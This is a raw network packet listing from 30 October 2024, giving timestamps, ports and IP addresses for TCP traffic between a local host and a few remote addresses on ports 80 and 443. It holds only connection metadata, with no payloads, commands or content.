Oct 30, 2024 21:56:14.838813066 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838823080 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838824034 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.838834047 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838857889 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.838888884 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.838927031 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838939905 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838953018 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838963985 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.838972092 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.839006901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.842891932 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.842905045 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.842916012 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.842958927 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.842973948 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844147921 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844172001 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844181061 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844244957 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844257116 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844258070 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844269037 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844285965 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844455957 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844533920 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844583035 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844588995 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844595909 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844624996 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844633102 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844640970 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844644070 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844655037 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844666958 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844680071 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844681978 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844706059 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844727993 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844731092 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844742060 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844753027 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844774961 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844801903 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844824076 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844865084 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844894886 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844908953 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844921112 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.844943047 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.844970942 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.879786968 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.879798889 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.879810095 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.879875898 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.879920006 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.880141973 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.880165100 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.880177021 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.880191088 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.880217075 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.880316019 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.880327940 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.880338907 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.880366087 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.880388021 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.880422115 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.880434990 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.880445004 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.880466938 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.880474091 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.880485058 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.880491972 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.880500078 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.880512953 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.880539894 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.925817013 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.925837994 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.925848961 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.925895929 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.925908089 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.925920963 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.925932884 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.925935984 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.925945997 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.925966024 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.925976038 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.926001072 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.926001072 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.926012039 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.926014900 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.926027060 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.926038980 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.926073074 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929281950 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929368973 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929373980 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929440975 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929450035 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929466963 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929488897 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929507017 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929565907 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929605007 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929670095 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929682016 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929712057 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929724932 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929733992 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929744005 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929755926 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929774046 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929805994 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929835081 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929845095 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929856062 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929867029 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929876089 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929877996 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929888964 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929893017 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929898024 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.929923058 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.929943085 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.930233002 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930243969 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930254936 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930279016 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.930305958 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.930358887 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930375099 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930385113 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930394888 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930406094 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930416107 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930425882 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930438042 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930445910 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930460930 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930469990 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.930470943 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930483103 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.930490017 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.930511951 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.930525064 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.931632042 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.931643963 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.931654930 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.931667089 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.931701899 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.931735039 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.933773994 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.933787107 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.933796883 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.933834076 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.933845997 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.933919907 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.933934927 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.933947086 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.933964968 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.933979988 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.934156895 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.934169054 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.934180021 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.934201002 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.934228897 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.934309006 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.934320927 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.934331894 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.934349060 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.934375048 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.934387922 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.934871912 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.934912920 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.934921980 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.934936047 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.934947968 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.934956074 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.934961081 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.934977055 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.934989929 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.935009956 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.935030937 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935053110 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935064077 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935070038 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.935091019 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.935103893 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.935184002 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935199976 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935211897 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935220003 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935226917 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.935233116 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935245037 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935247898 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.935256004 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935266972 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935276985 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.935278893 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935297012 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.935300112 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935309887 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935323954 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.935327053 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935333967 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.935340881 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935350895 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935363054 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.935365915 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.935396910 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.958748102 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.958807945 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.958937883 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.958950043 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.958964109 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.958975077 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.958982944 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.958986998 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.958997011 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.959000111 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959011078 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959027052 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959032059 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.959042072 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959053040 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959058046 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.959068060 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.959088087 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959093094 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.959105968 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959117889 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959124088 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.959129095 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959141016 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959151030 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959155083 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.959161997 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959172964 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959181070 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.959184885 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.959197044 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.959218025 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.959233999 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.962762117 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.962773085 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.962783098 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.962812901 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.962841034 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.963926077 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.963937998 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.963948965 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.963973999 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.963985920 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.963990927 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.963998079 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.964035988 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.964215040 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.964227915 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.964241028 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.964261055 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.964278936 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.964291096 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.964297056 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.964322090 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.964345932 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.964346886 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.964355946 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:14.964385986 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:14.964410067 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:17.235404015 CET	50190	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:17.235713959 CET	50231	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:17.241540909 CET	80	50190	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:17.241590977 CET	50190	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:17.241596937 CET	80	50231	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:17.241662025 CET	50231	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:17.242252111 CET	50231	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:17.248023033 CET	80	50231	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:17.382621050 CET	50232	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:17.382705927 CET	443	50232	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:17.382780075 CET	50232	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:17.384208918 CET	50232	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:17.384243011 CET	443	50232	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:17.998785019 CET	443	50232	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:18.000209093 CET	50232	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:18.002799988 CET	50232	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:18.002810955 CET	443	50232	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:18.003010035 CET	443	50232	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:18.047364950 CET	50232	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:18.067035913 CET	50232	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:18.067049980 CET	50232	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:18.067100048 CET	443	50232	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:18.165452957 CET	80	50231	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:18.165627003 CET	50231	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:18.169044971 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:18.169310093 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:18.175154924 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:18.175277948 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:18.175513029 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:18.176165104 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:18.179361105 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:18.181724072 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:18.903949976 CET	443	50232	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:18.904038906 CET	443	50232	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:18.904145956 CET	50232	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:18.909521103 CET	50232	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:18.909564018 CET	443	50232	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:18.909594059 CET	50232	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:18.909610987 CET	443	50232	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:19.091485977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.091655016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.091672897 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.091696024 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.091948986 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.091993093 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.092056036 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.092070103 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.092082024 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.092091084 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.092098951 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.092101097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.092112064 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.092123032 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.092128038 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.092183113 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.097563028 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.097626925 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.097810984 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.097858906 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.249861956 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.249939919 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.250056028 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.250066042 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.250072002 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.250117064 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:19.250142097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.250160933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.250169992 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:19.250188112 CET	50233	80	192.168.2.5	185.215.113.16
